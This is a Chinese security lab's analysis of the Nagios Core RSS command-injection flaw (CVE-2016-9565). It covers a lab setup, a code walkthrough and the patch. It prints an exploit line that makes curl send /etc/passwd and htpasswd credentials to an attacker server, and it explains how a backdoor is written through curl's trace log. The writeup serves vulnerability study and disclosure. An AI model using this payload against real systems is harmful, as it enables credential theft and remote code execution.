Author: p0wd3r, dawu (知道創宇404安全實驗室)

Date: 2016-12-15

0x00 漏洞概述

1.漏洞簡介

Nagios 是一款監控IT基礎設施的程序,近日安全研究人員 Dawid Golunski 發現在 Nagios Core 中存在一個代碼執行漏洞:攻擊者首先偽裝成 RSS 訂閱源,當受害應用獲取 RSS 信息時攻擊者將惡意構造的數據傳給受害者,程序在處理過程中將惡意數據注入到了 curl 的命令中,進而代碼執行。

2.漏洞影響

漏洞觸發前提:

  1. 攻擊者可偽裝成https://www.nagios.org,利用 dns 欺騙等方法
  2. 攻擊者被授權,或者攻擊者誘使授權用戶訪問rss-corefeed.phprss-newsfeed.phprss-corebanner.php其中一個文件。

成功攻擊可執行任意代碼。

3.影響版本

Nagios Core < 4.2.2

0x01 漏洞復現

1. 環境搭建

Dockerfile:

FROM quantumobject/docker-nagios

RUN sed -i '99d' /usr/local/nagios/share/includes/rss/rss_fetch.inc

RUN mkdir /tmp/tmp && chown www-data:www-data /tmp/tmp

然后運行:

docker run -p 80:80 --name nagios -d quantumobject/docker-nagios

訪問http://127.0.0.1/nagios,用nagiosadmin:admin登錄即可

2.漏洞分析

漏洞觸發點在/usr/local/nagios/share/includes/rss/extlib/Snoopy.class.inc第657行,_httpsrequest函數中:

// version < 4.2.0
exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);

// vserion >= 4.2.0 && version < 4.2.2
exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);

這里使用了escapeshellcmd來對命令參數進行處理,escapeshellcmd的作用如下:

Alt text

作者意在防止多條命令的執行,但是這樣處理并沒有防止注入多個參數樣如果$URI可控,再配合curl的一些特性便可以進行文件讀寫,進而代碼執行。(一般來說為防止注入多個參數要使用 escapeshellarg,但該函數也不是絕對安全,詳見 CVE-2015-4642。)

因為之前爆出的 即可。

下面我們來看$URI是否可控。根據代碼邏輯來看,_httpsrequetusr/local/nagios/share/includes/rss/rss_fetch.inc中的fetch_rss函數調用,這樣我們創建這樣一個測試文件test.php

<?php
define('MAGPIE_DIR', './includes/rss/');
define('MAGPIE_CACHE_ON', 0);
define('MAGPIE_CACHE_AGE', 0);
define('MAGPIE_CACHE_DIR', '/tmp/magpie_cache');
require_once(MAGPIE_DIR.'rss_fetch.inc');

fetch_rss('https://www.baidu.com --version');

訪問http://127.0.0.1/nagios/test.php之后開啟動態調試,我們在上述exec函數處下斷點,函數調用棧如下:

Alt text

$URI情況如下:

Alt text

可知$URI可控,并且在傳入過程中沒有被過濾。

接下來需要構造curl參數來得到我們想要的結果,這里我們使用 Dawid Golunski 提供的 Exp,需要注意的是,他提供的代碼可驗證4.2.0之前的版本,若驗證版本大于等于4.2.0且小于4.2.2時,需對其代碼進行一下更改,加上閉合所需要的雙引號:

# 第44行
self.redirect('https://' + self.request.host + '/nagioshack" -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '"', permanent=False)

該 Exp 具體流程如下:

  1. 在攻擊者的服務器上開啟一個 http/https 服務器
  2. 受害者使用fetch_rss向該服務器發其請求
  3. 攻擊者收到請求后對其進行重定向,重定向 url 為 https:// + 攻擊者服務器 + payload,payload 中使用-F將文件內容發送給服務器,--trace-ascii將流量記錄到文件中(類似 Roundcube RCE 中 mail函數的-X)。
  4. 服務器接收到重定向的請求后進行了以下三個操作:
    1. 解析文件內容
    2. 返回后門內容進而通過流量記錄寫到后門文件中
    3. 返回構造好的XML,在description中添加<img src=backdoor.php>
  5. 受害者解析XML并將description的內容輸出到html中,進而自動執行后門

為了方便驗證,我們在網站目錄下創建一個exp.php:

<?php
define('MAGPIE_DIR', './includes/rss/');
define('MAGPIE_CACHE_ON', 0);
define('MAGPIE_CACHE_AGE', 0);
define('MAGPIE_CACHE_DIR', '/tmp/magpie_cache');
require_once(MAGPIE_DIR.'rss_fetch.inc');

fetch_rss('http://172.17.0.3');

(僅為驗證漏洞,這里我們并沒有解析XML)然后我們在172.17.0.3上運行 Exp,然后訪問http://127.0.0.1/exp.php即可得到結果:

Alt text

實際測試時 Exp 中的后門代碼有可能在日志中會被截斷從而導致命令執行不成功,建議寫入簡短的一句話:

Alt text

真實情況下,fetch_rss的調用情況如下:

Alt text

可見我們并不能控制其參數的值,所以只能通過 dns 欺騙等手段使目標對https://www.nagios.org的訪問指向攻擊者的服務器,進而觸發漏洞。

3.補丁分析

4.2.2版本中刪除了includes/以及rss-corefeed.phprss-newsfeed.phprss-corebanner.php

0x02 修復方案

升級到4.2.2

0x03 參考

  1. Dawid Golunski 的漏洞報告:http://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
  2. escapeshellcmd的使用手冊:http://php.net/manual/zh/function.escapeshellcmd.php

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/146/